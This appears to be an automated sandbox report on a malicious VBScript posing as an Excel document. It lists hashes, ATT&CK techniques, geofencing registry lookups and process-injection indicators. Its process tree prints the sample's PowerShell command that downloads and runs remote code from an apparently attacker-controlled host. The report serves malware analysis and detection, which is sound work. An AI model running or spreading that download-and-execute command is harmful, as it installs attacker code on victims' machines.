5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

Resubmissions

12/08/2024, 11:41

240812-ntgelazapr8

08/05/2024, 15:00

240508-sdtr7sab2w8

05/04/2024, 15:07

240405-shpdaafc3v10

04/04/2024, 20:19

240404-y3t26aaa3710

Analysis

max time kernel
65s
max time network
67s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
08/05/2024, 15:00

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General

Target
EXCEL_DOCUMENT_OPEN.vbs
Size 23KB
Sample240508-sdtr7sab2w
SHA256 5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
MD5 6925ed4c3665b27592c356b0bbd4948d
SHA1 7429a3929f68c87af85266c5d304f3e26e11a8c0
SHA512 333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
SSDEEP 384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4724	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4724	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4724	powershell.exe
4724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4724	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 4724	1840	WScript.exe	89
PID 1840 wrote to memory of 4724	1840	WScript.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4204,i,10373433614523925616,13586256558317053467,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:8
1⤵
PID:4700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_4jqusglk.fhm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jqusglk.fhm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4724-0-0x00007FF9395C3000-0x00007FF9395C5000-memory.dmp

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memory/4724-1-0x000001E0B70D0000-0x000001E0B70F2000-memory.dmp

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memory/4724-11-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

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memory/4724-12-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

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memory/4724-13-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

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memory/4724-14-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

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memory/4724-16-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

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